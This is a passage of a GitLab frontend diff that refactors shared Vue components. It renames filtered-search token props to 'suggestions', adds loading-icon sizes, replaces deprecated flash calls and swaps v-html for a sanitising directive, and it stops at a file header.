+++ b/app/assets/javascripts/vue_shared/components/ci_icon.vue
@@ -64,12 +64,6 @@ export default {
</script>
<template>
<span :class="cssClass">
- <gl-icon
- :name="icon"
- :size="size"
- :class="cssClasses"
- :aria-label="status.icon"
- use-deprecated-sizes
- />
+ <gl-icon :name="icon" :size="size" :class="cssClasses" :aria-label="status.icon" />
</span>
</template>
diff --git a/app/assets/javascripts/vue_shared/components/deprecated_project_avatar/default.vue b/app/assets/javascripts/vue_shared/components/deprecated_project_avatar/default.vue
new file mode 100644
index 00000000000..733accdff44
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/deprecated_project_avatar/default.vue
@@ -0,0 +1,47 @@
+<script>
+import Identicon from '../identicon.vue';
+import ProjectAvatarImage from './image.vue';
+
+export default {
+ name: 'DeprecatedProjectAvatar',
+ components: {
+ Identicon,
+ ProjectAvatarImage,
+ },
+ props: {
+ project: {
+ type: Object,
+ required: true,
+ },
+ size: {
+ type: Number,
+ default: 40,
+ required: false,
+ },
+ },
+ computed: {
+ sizeClass() {
+ return `s${this.size}`;
+ },
+ },
+};
+</script>
+
+<template>
+ <span :class="sizeClass" class="avatar-container rect-avatar project-avatar">
+ <project-avatar-image
+ v-if="project.avatar_url"
+ :link-href="project.path"
+ :img-src="project.avatar_url"
+ :img-alt="project.name"
+ :img-size="size"
+ />
+ <identicon
+ v-else
+ :entity-id="project.id"
+ :entity-name="project.name"
+ :size-class="sizeClass"
+ class="rect-avatar"
+ />
+ </span>
+</template>
diff --git a/app/assets/javascripts/vue_shared/components/project_avatar/image.vue b/app/assets/javascripts/vue_shared/components/deprecated_project_avatar/image.vue
index 269736c799c..269736c799c 100644
--- a/app/assets/javascripts/vue_shared/components/project_avatar/image.vue
+++ b/app/assets/javascripts/vue_shared/components/deprecated_project_avatar/image.vue
diff --git a/app/assets/javascripts/vue_shared/components/diff_viewer/viewers/renamed.vue b/app/assets/javascripts/vue_shared/components/diff_viewer/viewers/renamed.vue
index b3edd05b0ee..b786f7752df 100644
--- a/app/assets/javascripts/vue_shared/components/diff_viewer/viewers/renamed.vue
+++ b/app/assets/javascripts/vue_shared/components/diff_viewer/viewers/renamed.vue
@@ -89,7 +89,7 @@ export default {
<template>
<div class="nothing-here-block">
- <gl-loading-icon v-if="is($options.STATE_LOADING)" />
+ <gl-loading-icon v-if="is($options.STATE_LOADING)" size="sm" />
<template v-else>
<gl-alert
v-show="is($options.STATE_ERRORED)"
diff --git a/app/assets/javascripts/vue_shared/components/dismissible_alert.vue b/app/assets/javascripts/vue_shared/components/dismissible_alert.vue
index 8494f99fd7d..52371e42ba1 100644
--- a/app/assets/javascripts/vue_shared/components/dismissible_alert.vue
+++ b/app/assets/javascripts/vue_shared/components/dismissible_alert.vue
@@ -1,11 +1,14 @@
<script>
-/* eslint-disable vue/no-v-html */
-import { GlAlert } from '@gitlab/ui';
+import { GlAlert, GlSafeHtmlDirective as SafeHtml } from '@gitlab/ui';
export default {
+ name: 'DismissibleAlert',
components: {
GlAlert,
},
+ directives: {
+ SafeHtml,
+ },
props: {
html: {
type: String,
@@ -28,6 +31,6 @@ export default {
<template>
<gl-alert v-if="!isDismissed" v-bind="$attrs" @dismiss="dismiss" v-on="$listeners">
- <div v-html="html"></div>
+ <div v-safe-html="html"></div>
</gl-alert>
</template>
diff --git a/app/assets/javascripts/vue_shared/components/dropdown/dropdown_button.vue b/app/assets/javascripts/vue_shared/components/dropdown/dropdown_button.vue
index a1c7c4dd142..a512eb687b7 100644
--- a/app/assets/javascripts/vue_shared/components/dropdown/dropdown_button.vue
+++ b/app/assets/javascripts/vue_shared/components/dropdown/dropdown_button.vue
@@ -36,7 +36,7 @@ export default {
data-toggle="dropdown"
aria-expanded="false"
>
- <gl-loading-icon v-show="isLoading" :inline="true" />
+ <gl-loading-icon v-show="isLoading" size="sm" :inline="true" />
<slot v-if="$slots.default"></slot>
<span v-else class="dropdown-toggle-text"> {{ toggleText }} </span>
<gl-icon
diff --git a/app/assets/javascripts/vue_shared/components/editor_lite.vue b/app/assets/javascripts/vue_shared/components/editor_lite.vue
deleted file mode 100644
index c3bddabea21..00000000000
--- a/app/assets/javascripts/vue_shared/components/editor_lite.vue
+++ /dev/null
@@ -1,103 +0,0 @@
-<script>
-import { debounce } from 'lodash';
-import { CONTENT_UPDATE_DEBOUNCE, EDITOR_READY_EVENT } from '~/editor/constants';
-import Editor from '~/editor/editor_lite';
-
-function initEditorLite({ el, ...args }) {
- const editor = new Editor({
- scrollbar: {
- alwaysConsumeMouseWheel: false,
- },
- });
-
- return editor.createInstance({
- el,
- ...args,
- });
-}
-
-export default {
- inheritAttrs: false,
- props: {
- value: {
- type: String,
- required: false,
- default: '',
- },
- fileName: {
- type: String,
- required: false,
- default: '',
- },
- // This is used to help uniquely create a monaco model
- // even if two blob's share a file path.
- fileGlobalId: {
- type: String,
- required: false,
- default: '',
- },
- extensions: {
- type: [String, Array],
- required: false,
- default: () => null,
- },
- editorOptions: {
- type: Object,
- required: false,
- default: () => ({}),
- },
- },
- data() {
- return {
- loading: true,
- editor: null,
- };
- },
- watch: {
- fileName(newVal) {
- this.editor.updateModelLanguage(newVal);
- },
- value(newVal) {
- if (this.editor.getValue() !== newVal) {
- this.editor.setValue(newVal);
- }
- },
- },
- mounted() {
- this.editor = initEditorLite({
- el: this.$refs.editor,
- blobPath: this.fileName,
- blobContent: this.value,
- blobGlobalId: this.fileGlobalId,
- extensions: this.extensions,
- ...this.editorOptions,
- });
-
- this.editor.onDidChangeModelContent(
- debounce(this.onFileChange.bind(this), CONTENT_UPDATE_DEBOUNCE),
- );
- },
- beforeDestroy() {
- this.editor.dispose();
- },
- methods: {
- onFileChange() {
- this.$emit('input', this.editor.getValue());
- },
- getEditor() {
- return this.editor;
- },
- },
- readyEvent: EDITOR_READY_EVENT,
-};
-</script>
-<template>
- <div
- :id="`editor-lite-${fileGlobalId}`"
- ref="editor"
- data-editor-loading
- @[$options.readyEvent]="$emit($options.readyEvent)"
- >
- <pre class="editor-loading-content">{{ value }}</pre>
- </div>
-</template>
diff --git a/app/assets/javascripts/vue_shared/components/expand_button.vue b/app/assets/javascripts/vue_shared/components/expand_button.vue
index 546ee56355f..0b92c947fc7 100644
--- a/app/assets/javascripts/vue_shared/components/expand_button.vue
+++ b/app/assets/javascripts/vue_shared/components/expand_button.vue
@@ -7,7 +7,7 @@ import { __ } from '~/locale';
*
* @example
* <expand-button>
- * <template slot="expanded">
+ * <template #expanded>
* Text goes here.
* </template>
* </expand-button>
diff --git a/app/assets/javascripts/vue_shared/components/file_finder/index.vue b/app/assets/javascripts/vue_shared/components/file_finder/index.vue
index fbadb202d51..b0c1c1531aa 100644
--- a/app/assets/javascripts/vue_shared/components/file_finder/index.vue
+++ b/app/assets/javascripts/vue_shared/components/file_finder/index.vue
@@ -103,6 +103,9 @@ export default {
focusedIndex() {
if (!this.mouseOver) {
this.$nextTick(() => {
+ if (!this.$refs.virtualScrollList?.$el) {
+ return;
+ }
const el = this.$refs.virtualScrollList.$el;
const scrollTop = this.focusedIndex * FILE_FINDER_ROW_HEIGHT;
const bottom = this.listShowCount * FILE_FINDER_ROW_HEIGHT;
@@ -218,7 +221,7 @@ export default {
</script>
<template>
- <div class="file-finder-overlay" @mousedown.self="toggle(false)">
+ <div v-if="visible" class="file-finder-overlay" @mousedown.self="toggle(false)">
<div class="dropdown-menu diff-file-changes file-finder show">
<div :class="{ 'has-value': showClearInputButton }" class="dropdown-input">
<input
diff --git a/app/assets/javascripts/vue_shared/components/file_icon.vue b/app/assets/javascripts/vue_shared/components/file_icon.vue
index 4244cab902a..276fb35b51f 100644
--- a/app/assets/javascripts/vue_shared/components/file_icon.vue
+++ b/app/assets/javascripts/vue_shared/components/file_icon.vue
@@ -85,7 +85,7 @@ export default {
</script>
<template>
<span>
- <gl-loading-icon v-if="loading" :inline="true" />
+ <gl-loading-icon v-if="loading" size="sm" :inline="true" />
<gl-icon v-else-if="isSymlink" name="symlink" :size="size" use-deprecated-sizes />
<svg v-else-if="!folder" :key="spriteHref" :class="[iconSizeClass, cssClasses]">
<use v-bind="{ 'xlink:href': spriteHref }" />
@@ -95,7 +95,6 @@ export default {
:name="folderIconName"
:size="size"
class="folder-icon"
- use-deprecated-sizes
data-qa-selector="folder_icon_content"
/>
</span>
diff --git a/app/assets/javascripts/vue_shared/components/filtered_search_bar/constants.js b/app/assets/javascripts/vue_shared/components/filtered_search_bar/constants.js
index 9775a9119c6..994ce6a762a 100644
--- a/app/assets/javascripts/vue_shared/components/filtered_search_bar/constants.js
+++ b/app/assets/javascripts/vue_shared/components/filtered_search_bar/constants.js
@@ -10,8 +10,11 @@ export const FILTER_CURRENT = 'Current';
export const OPERATOR_IS = '=';
export const OPERATOR_IS_TEXT = __('is');
export const OPERATOR_IS_NOT = '!=';
+export const OPERATOR_IS_NOT_TEXT = __('is not');
export const OPERATOR_IS_ONLY = [{ value: OPERATOR_IS, description: OPERATOR_IS_TEXT }];
+export const OPERATOR_IS_NOT_ONLY = [{ value: OPERATOR_IS_NOT, description: OPERATOR_IS_NOT_TEXT }];
+export const OPERATOR_IS_AND_IS_NOT = [...OPERATOR_IS_ONLY, ...OPERATOR_IS_NOT_ONLY];
export const DEFAULT_LABEL_NONE = { value: FILTER_NONE, text: __(FILTER_NONE) };
export const DEFAULT_LABEL_ANY = { value: FILTER_ANY, text: __(FILTER_ANY) };
diff --git a/app/assets/javascripts/vue_shared/components/filtered_search_bar/filtered_search_utils.js b/app/assets/javascripts/vue_shared/components/filtered_search_bar/filtered_search_utils.js
index 37436de907f..571d24b50cf 100644
--- a/app/assets/javascripts/vue_shared/components/filtered_search_bar/filtered_search_utils.js
+++ b/app/assets/javascripts/vue_shared/components/filtered_search_bar/filtered_search_utils.js
@@ -215,35 +215,35 @@ export function urlQueryToFilter(query = '', options = {}) {
/**
* Returns array of token values from localStorage
- * based on provided recentTokenValuesStorageKey
+ * based on provided recentSuggestionsStorageKey
*
- * @param {String} recentTokenValuesStorageKey
+ * @param {String} recentSuggestionsStorageKey
* @returns
*/
-export function getRecentlyUsedTokenValues(recentTokenValuesStorageKey) {
- let recentlyUsedTokenValues = [];
+export function getRecentlyUsedSuggestions(recentSuggestionsStorageKey) {
+ let recentlyUsedSuggestions = [];
if (AccessorUtilities.isLocalStorageAccessSafe()) {
- recentlyUsedTokenValues = JSON.parse(localStorage.getItem(recentTokenValuesStorageKey)) || [];
+ recentlyUsedSuggestions = JSON.parse(localStorage.getItem(recentSuggestionsStorageKey)) || [];
}
- return recentlyUsedTokenValues;
+ return recentlyUsedSuggestions;
}
/**
* Sets provided token value to recently used array
- * within localStorage for provided recentTokenValuesStorageKey
+ * within localStorage for provided recentSuggestionsStorageKey
*
- * @param {String} recentTokenValuesStorageKey
+ * @param {String} recentSuggestionsStorageKey
* @param {Object} tokenValue
*/
-export function setTokenValueToRecentlyUsed(recentTokenValuesStorageKey, tokenValue) {
- const recentlyUsedTokenValues = getRecentlyUsedTokenValues(recentTokenValuesStorageKey);
+export function setTokenValueToRecentlyUsed(recentSuggestionsStorageKey, tokenValue) {
+ const recentlyUsedSuggestions = getRecentlyUsedSuggestions(recentSuggestionsStorageKey);
- recentlyUsedTokenValues.splice(0, 0, { ...tokenValue });
+ recentlyUsedSuggestions.splice(0, 0, { ...tokenValue });
if (AccessorUtilities.isLocalStorageAccessSafe()) {
localStorage.setItem(
- recentTokenValuesStorageKey,
- JSON.stringify(uniqWith(recentlyUsedTokenValues, isEqual).slice(0, MAX_RECENT_TOKENS_SIZE)),
+ recentSuggestionsStorageKey,
+ JSON.stringify(uniqWith(recentlyUsedSuggestions, isEqual).slice(0, MAX_RECENT_TOKENS_SIZE)),
);
}
}
diff --git a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/author_token.vue b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/author_token.vue
index 3b261f5ac25..a25a19a006c 100644
--- a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/author_token.vue
+++ b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/author_token.vue
@@ -74,13 +74,13 @@ export default {
:config="config"
:value="value"
:active="active"
- :tokens-list-loading="loading"
- :token-values="authors"
+ :suggestions-loading="loading"
+ :suggestions="authors"
:fn-active-token-value="getActiveAuthor"
- :default-token-values="defaultAuthors"
- :preloaded-token-values="preloadedAuthors"
- :recent-token-values-storage-key="config.recentTokenValuesStorageKey"
- @fetch-token-values="fetchAuthorBySearchTerm"
+ :default-suggestions="defaultAuthors"
+ :preloaded-suggestions="preloadedAuthors"
+ :recent-suggestions-storage-key="config.recentSuggestionsStorageKey"
+ @fetch-suggestions="fetchAuthorBySearchTerm"
v-on="$listeners"
>
<template #view="{ viewTokenProps: { inputValue, activeTokenValue } }">
@@ -93,9 +93,9 @@ export default {
/>
<span>{{ activeTokenValue ? activeTokenValue.name : inputValue }}</span>
</template>
- <template #token-values-list="{ tokenValues }">
+ <template #suggestions-list="{ suggestions }">
<gl-filtered-search-suggestion
- v-for="author in tokenValues"
+ v-for="author in suggestions"
:key="author.username"
:value="author.username"
>
diff --git a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/base_token.vue b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/base_token.vue
index bda6b340871..a4804525a53 100644
--- a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/base_token.vue
+++ b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/base_token.vue
@@ -6,9 +6,10 @@ import {
GlDropdownSectionHeader,
GlLoadingIcon,
} from '@gitlab/ui';
+import { debounce } from 'lodash';
import { DEBOUNCE_DELAY } from '../constants';
-import { getRecentlyUsedTokenValues, setTokenValueToRecentlyUsed } from '../filtered_search_utils';
+import { getRecentlyUsedSuggestions, setTokenValueToRecentlyUsed } from '../filtered_search_utils';
export default {
components: {
@@ -31,12 +32,12 @@ export default {
type: Boolean,
required: true,
},
- tokensListLoading: {
+ suggestionsLoading: {
type: Boolean,
required: false,
default: false,
},
- tokenValues: {
+ suggestions: {
type: Array,
required: false,
default: () => [],
@@ -44,21 +45,21 @@ export default {
fnActiveTokenValue: {
type: Function,
required: false,
- default: (tokenValues, currentTokenValue) => {
- return tokenValues.find(({ value }) => value === currentTokenValue);
+ default: (suggestions, currentTokenValue) => {
+ return suggestions.find(({ value }) => value === currentTokenValue);
},
},
- defaultTokenValues: {
+ defaultSuggestions: {
type: Array,
required: false,
default: () => [],
},
- preloadedTokenValues: {
+ preloadedSuggestions: {
type: Array,
required: false,
default: () => [],
},
- recentTokenValuesStorageKey: {
+ recentSuggestionsStorageKey: {
type: String,
required: false,
default: '',
@@ -77,21 +78,21 @@ export default {
data() {
return {
searchKey: '',
- recentTokenValues: this.recentTokenValuesStorageKey
- ? getRecentlyUsedTokenValues(this.recentTokenValuesStorageKey)
+ recentSuggestions: this.recentSuggestionsStorageKey
+ ? getRecentlyUsedSuggestions(this.recentSuggestionsStorageKey)
: [],
loading: false,
};
},
computed: {
- isRecentTokenValuesEnabled() {
- return Boolean(this.recentTokenValuesStorageKey);
+ isRecentSuggestionsEnabled() {
+ return Boolean(this.recentSuggestionsStorageKey);
},
recentTokenIds() {
- return this.recentTokenValues.map((tokenValue) => tokenValue[this.valueIdentifier]);
+ return this.recentSuggestions.map((tokenValue) => tokenValue[this.valueIdentifier]);
},
preloadedTokenIds() {
- return this.preloadedTokenValues.map((tokenValue) => tokenValue[this.valueIdentifier]);
+ return this.preloadedSuggestions.map((tokenValue) => tokenValue[this.valueIdentifier]);
},
currentTokenValue() {
if (this.fnCurrentTokenValue) {
@@ -100,17 +101,17 @@ export default {
return this.value.data.toLowerCase();
},
activeTokenValue() {
- return this.fnActiveTokenValue(this.tokenValues, this.currentTokenValue);
+ return this.fnActiveTokenValue(this.suggestions, this.currentTokenValue);
},
/**
- * Return all the tokenValues when searchKey is present
- * otherwise return only the tokenValues which aren't
+ * Return all the suggestions when searchKey is present
+ * otherwise return only the suggestions which aren't
* present in "Recently used"
*/
- availableTokenValues() {
+ availableSuggestions() {
return this.searchKey
- ? this.tokenValues
- : this.tokenValues.filter(
+ ? this.suggestions
+ : this.suggestions.filter(
(tokenValue) =>
!this.recentTokenIds.includes(tokenValue[this.valueIdentifier]) &&
!this.preloadedTokenIds.includes(tokenValue[this.valueIdentifier]),
@@ -121,30 +122,30 @@ export default {
active: {
immediate: true,
handler(newValue) {
- if (!newValue && !this.tokenValues.length) {
- this.$emit('fetch-token-values', this.value.data);
+ if (!newValue && !this.suggestions.length) {
+ this.$emit('fetch-suggestions', this.value.data);
}
},
},
},
methods: {
- handleInput({ data }) {
+ handleInput: debounce(function debouncedSearch({ data }) {
this.searchKey = data;
- setTimeout(() => {
- if (!this.tokensListLoading) this.$emit('fetch-token-values', data);
- }, DEBOUNCE_DELAY);
- },
+ if (!this.suggestionsLoading) {
+ this.$emit('fetch-suggestions', data);
+ }
+ }, DEBOUNCE_DELAY),
handleTokenValueSelected(activeTokenValue) {
// Make sure that;
// 1. Recently used values feature is enabled
// 2. User has actually selected a value
// 3. Selected value is not part of preloaded list.
if (
- this.isRecentTokenValuesEnabled &&
+ this.isRecentSuggestionsEnabled &&
activeTokenValue &&
!this.preloadedTokenIds.includes(activeTokenValue[this.valueIdentifier])
) {
- setTokenValueToRecentlyUsed(this.recentTokenValuesStorageKey, activeTokenValue);
+ setTokenValueToRecentlyUsed(this.recentSuggestionsStorageKey, activeTokenValue);
}
},
},
@@ -168,9 +169,9 @@ export default {
<slot name="view" :view-token-props="{ ...viewTokenProps, activeTokenValue }"></slot>
</template>
<template #suggestions>
- <template v-if="defaultTokenValues.length">
+ <template v-if="defaultSuggestions.length">
<gl-filtered-search-suggestion
- v-for="token in defaultTokenValues"
+ v-for="token in defaultSuggestions"
:key="token.value"
:value="token.value"
>
@@ -178,19 +179,19 @@ export default {
</gl-filtered-search-suggestion>
<gl-dropdown-divider />
</template>
- <template v-if="isRecentTokenValuesEnabled && recentTokenValues.length && !searchKey">
+ <template v-if="isRecentSuggestionsEnabled && recentSuggestions.length && !searchKey">
<gl-dropdown-section-header>{{ __('Recently used') }}</gl-dropdown-section-header>
- <slot name="token-values-list" :token-values="recentTokenValues"></slot>
+ <slot name="suggestions-list" :suggestions="recentSuggestions"></slot>
<gl-dropdown-divider />
</template>
<slot
- v-if="preloadedTokenValues.length && !searchKey"
- name="token-values-list"
- :token-values="preloadedTokenValues"
+ v-if="preloadedSuggestions.length && !searchKey"
+ name="suggestions-list"
+ :suggestions="preloadedSuggestions"
></slot>
- <gl-loading-icon v-if="tokensListLoading" />
+ <gl-loading-icon v-if="suggestionsLoading" size="sm" />
<template v-else>
- <slot name="token-values-list" :token-values="availableTokenValues"></slot>
+ <slot name="suggestions-list" :suggestions="availableSuggestions"></slot>
</template>
</template>
</gl-filtered-search-token>
diff --git a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/branch_token.vue b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/branch_token.vue
index 694dcd95b5e..5859fd10688 100644
--- a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/branch_token.vue
+++ b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/branch_token.vue
@@ -97,7 +97,7 @@ export default {
{{ branch.text }}
</gl-filtered-search-suggestion>
<gl-dropdown-divider v-if="defaultBranches.length" />
- <gl-loading-icon v-if="loading" />
+ <gl-loading-icon v-if="loading" size="sm" />
<template v-else>
<gl-filtered-search-suggestion
v-for="branch in branches"
diff --git a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/emoji_token.vue b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/emoji_token.vue
index 9ba7f3d1a1d..d186f46866c 100644
--- a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/emoji_token.vue
+++ b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/emoji_token.vue
@@ -101,7 +101,7 @@ export default {
{{ emoji.value }}
</gl-filtered-search-suggestion>
<gl-dropdown-divider v-if="defaultEmojis.length" />
- <gl-loading-icon v-if="loading" />
+ <gl-loading-icon v-if="loading" size="sm" />
<template v-else>
<gl-filtered-search-suggestion
v-for="emoji in emojis"
diff --git a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/epic_token.vue b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/epic_token.vue
index d21fa9a344a..aa234cf86d9 100644
--- a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/epic_token.vue
+++ b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/epic_token.vue
@@ -56,7 +56,7 @@ export default {
}
// Current value is a string.
- const [groupPath, idProperty] = this.currentValue?.split('::&');
+ const [groupPath, idProperty] = this.currentValue?.split(this.$options.separator);
return this.epics.find(
(epic) =>
epic.group_full_path === groupPath &&
@@ -65,6 +65,9 @@ export default {
}
return null;
},
+ displayText() {
+ return `${this.activeEpic?.title}${this.$options.separator}${this.activeEpic?.iid}`;
+ },
},
watch: {
active: {
@@ -103,8 +106,10 @@ export default {
this.fetchEpicsBySearchTerm({ epicPath, search: data });
}, DEBOUNCE_DELAY),
- getEpicDisplayText(epic) {
- return `${epic.title}${this.$options.separator}${epic.iid}`;
+ getValue(epic) {
+ return this.config.useIdValue
+ ? String(epic[this.idProperty])
+ : `${epic.group_full_path}${this.$options.separator}${epic[this.idProperty]}`;
},
},
};
@@ -118,7 +123,7 @@ export default {
@input="searchEpics"
>
<template #view="{ inputValue }">
- {{ activeEpic ? getEpicDisplayText(activeEpic) : inputValue }}
+ {{ activeEpic ? displayText : inputValue }}
</template>
<template #suggestions>
<gl-filtered-search-suggestion
@@ -129,13 +134,9 @@ export default {
{{ epic.text }}
</gl-filtered-search-suggestion>
<gl-dropdown-divider v-if="defaultEpics.length" />
- <gl-loading-icon v-if="loading" />
+ <gl-loading-icon v-if="loading" size="sm" />
<template v-else>
- <gl-filtered-search-suggestion
- v-for="epic in epics"
- :key="epic.id"
- :value="`${epic.group_full_path}::&${epic[idProperty]}`"
- >
+ <gl-filtered-search-suggestion v-for="epic in epics" :key="epic.id" :value="getValue(epic)">
{{ epic.title }}
</gl-filtered-search-suggestion>
</template>
diff --git a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/iteration_token.vue b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/iteration_token.vue
index 7b6a590279a..ba8b2421726 100644
--- a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/iteration_token.vue
+++ b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/iteration_token.vue
@@ -7,6 +7,7 @@ import {
} from '@gitlab/ui';
import { debounce } from 'lodash';
import createFlash from '~/flash';
+import { getIdFromGraphQLId } from '~/graphql_shared/utils';
import { __ } from '~/locale';
import { DEBOUNCE_DELAY, DEFAULT_ITERATIONS } from '../constants';
@@ -30,8 +31,7 @@ export default {
data() {
return {
iterations: this.config.initialIterations || [],
- defaultIterations: this.config.defaultIterations || DEFAULT_ITERATIONS,
- loading: true,
+ loading: false,
};
},
computed: {
@@ -39,7 +39,12 @@ export default {
return this.value.data;
},
activeIteration() {
- return this.iterations.find((iteration) => iteration.title === this.currentValue);
+ return this.iterations.find(
+ (iteration) => getIdFromGraphQLId(iteration.id) === Number(this.currentValue),
+ );
+ },
+ defaultIterations() {
+ return this.config.defaultIterations || DEFAULT_ITERATIONS;
},
},
watch: {
@@ -53,6 +58,9 @@ export default {
},
},
methods: {
+ getValue(iteration) {
+ return String(getIdFromGraphQLId(iteration.id));
+ },
fetchIterationBySearchTerm(searchTerm) {
const fetchPromise = this.config.fetchPath
? this.config.fetchIterations(this.config.fetchPath, searchTerm)
@@ -95,12 +103,12 @@ export default {
{{ iteration.text }}
</gl-filtered-search-suggestion>
<gl-dropdown-divider v-if="defaultIterations.length" />
- <gl-loading-icon v-if="loading" />
+ <gl-loading-icon v-if="loading" size="sm" />
<template v-else>
<gl-filtered-search-suggestion
v-for="iteration in iterations"
- :key="iteration.title"
- :value="iteration.title"
+ :key="iteration.id"
+ :value="getValue(iteration)"
>
{{ iteration.title }}
</gl-filtered-search-suggestion>
diff --git a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/label_token.vue b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/label_token.vue
index e496d099a42..4d08f81fee9 100644
--- a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/label_token.vue
+++ b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/label_token.vue
@@ -96,12 +96,12 @@ export default {
:config="config"
:value="value"
:active="active"
- :tokens-list-loading="loading"
- :token-values="labels"
+ :suggestions-loading="loading"
+ :suggestions="labels"
:fn-active-token-value="getActiveLabel"
- :default-token-values="defaultLabels"
- :recent-token-values-storage-key="config.recentTokenValuesStorageKey"
- @fetch-token-values="fetchLabelBySearchTerm"
+ :default-suggestions="defaultLabels"
+ :recent-suggestions-storage-key="config.recentSuggestionsStorageKey"
+ @fetch-suggestions="fetchLabelBySearchTerm"
v-on="$listeners"
>
<template
@@ -115,9 +115,9 @@ export default {
>~{{ activeTokenValue ? getLabelName(activeTokenValue) : inputValue }}</gl-token
>
</template>
- <template #token-values-list="{ tokenValues }">
+ <template #suggestions-list="{ suggestions }">
<gl-filtered-search-suggestion
- v-for="label in tokenValues"
+ v-for="label in suggestions"
:key="label.id"
:value="getLabelName(label)"
>
diff --git a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/milestone_token.vue b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/milestone_token.vue
index cda6e4d6726..66ad5ef5b4e 100644
--- a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/milestone_token.vue
+++ b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/milestone_token.vue
@@ -9,6 +9,7 @@ import { debounce } from 'lodash';
import createFlash from '~/flash';
import { __ } from '~/locale';
+import { sortMilestonesByDueDate } from '~/milestones/milestone_utils';
import { DEFAULT_MILESTONES, DEBOUNCE_DELAY } from '../constants';
import { stripQuotes } from '../filtered_search_utils';
@@ -34,7 +35,7 @@ export default {
return {
milestones: this.config.initialMilestones || [],
defaultMilestones: this.config.defaultMilestones || DEFAULT_MILESTONES,
- loading: true,
+ loading: false,
};
},
computed: {
@@ -59,11 +60,16 @@ export default {
},
methods: {
fetchMilestoneBySearchTerm(searchTerm = '') {
+ if (this.loading) {
+ return;
+ }
+
this.loading = true;
this.config
.fetchMilestones(searchTerm)
- .then(({ data }) => {
- this.milestones = data;
+ .then((response) => {
+ const data = Array.isArray(response) ? response : response.data;
+ this.milestones = data.slice().sort(sortMilestonesByDueDate);
})
.catch(() => createFlash({ message: __('There was a problem fetching milestones.') }))
.finally(() => {
@@ -96,7 +102,7 @@ export default {
{{ milestone.text }}
</gl-filtered-search-suggestion>
<gl-dropdown-divider v-if="defaultMilestones.length" />
- <gl-loading-icon v-if="loading" />
+ <gl-loading-icon v-if="loading" size="sm" />
<template v-else>
<gl-filtered-search-suggestion
v-for="milestone in milestones"
diff --git a/app/assets/javascripts/vue_shared/components/form/form_footer_actions.vue b/app/assets/javascripts/vue_shared/components/form/form_footer_actions.vue
index 74f988476e3..26c50345c19 100644
--- a/app/assets/javascripts/vue_shared/components/form/form_footer_actions.vue
+++ b/app/assets/javascripts/vue_shared/components/form/form_footer_actions.vue
@@ -1,3 +1,4 @@
+<!-- eslint-disable-next-line vue/no-deprecated-functional-template -->
<template functional>
<footer class="form-actions d-flex justify-content-between">
<div><slot name="prepend"></slot></div>
diff --git a/app/assets/javascripts/vue_shared/components/gl_modal_vuex.vue b/app/assets/javascripts/vue_shared/components/gl_modal_vuex.vue
index 96d99faa952..dd0c0358ef6 100644
--- a/app/assets/javascripts/vue_shared/components/gl_modal_vuex.vue
+++ b/app/assets/javascripts/vue_shared/components/gl_modal_vuex.vue
@@ -74,6 +74,8 @@ export default {
@hidden="syncHide"
>
<slot></slot>
- <slot slot="modal-footer" name="modal-footer" :ok="ok" :cancel="cancel"></slot>
+ <template #modal-footer>
+ <slot name="modal-footer" :ok="ok" :cancel="cancel"></slot>
+ </template>
</gl-modal>
</template>
diff --git a/app/assets/javascripts/vue_shared/components/markdown/field.vue b/app/assets/javascripts/vue_shared/components/markdown/field.vue
index 80b7a9b7d05..9ea48050079 100644
--- a/app/assets/javascripts/vue_shared/components/markdown/field.vue
+++ b/app/assets/javascripts/vue_shared/components/markdown/field.vue
@@ -4,7 +4,7 @@ import { GlIcon } from '@gitlab/ui';
import $ from 'jquery';
import '~/behaviors/markdown/render_gfm';
import { unescape } from 'lodash';
-import { deprecatedCreateFlash as Flash } from '~/flash';
+import createFlash from '~/flash';
import GLForm from '~/gl_form';
import axios from '~/lib/utils/axios_utils';
import { stripHtml } from '~/lib/utils/text_utility';
@@ -222,7 +222,11 @@ export default {
axios
.post(this.markdownPreviewPath, { text: this.textareaValue })
.then((response) => this.renderMarkdown(response.data))
- .catch(() => new Flash(__('Error loading markdown preview')));
+ .catch(() =>
+ createFlash({
+ message: __('Error loading markdown preview'),
+ }),
+ );
} else {
this.renderMarkdown();
}
@@ -245,7 +249,11 @@ export default {
this.$nextTick()
.then(() => $(this.$refs['markdown-preview']).renderGFM())
- .catch(() => new Flash(__('Error rendering markdown preview')));
+ .catch(() =>
+ createFlash({
+ message: __('Error rendering markdown preview'),
+ }),
+ );
},
},
};
diff --git a/app/assets/javascripts/vue_shared/components/markdown/suggestion_diff_header.vue b/app/assets/javascripts/vue_shared/components/markdown/suggestion_diff_header.vue
index 83b8a6ae562..065d9b1b5dd 100644
--- a/app/assets/javascripts/vue_shared/components/markdown/suggestion_diff_header.vue
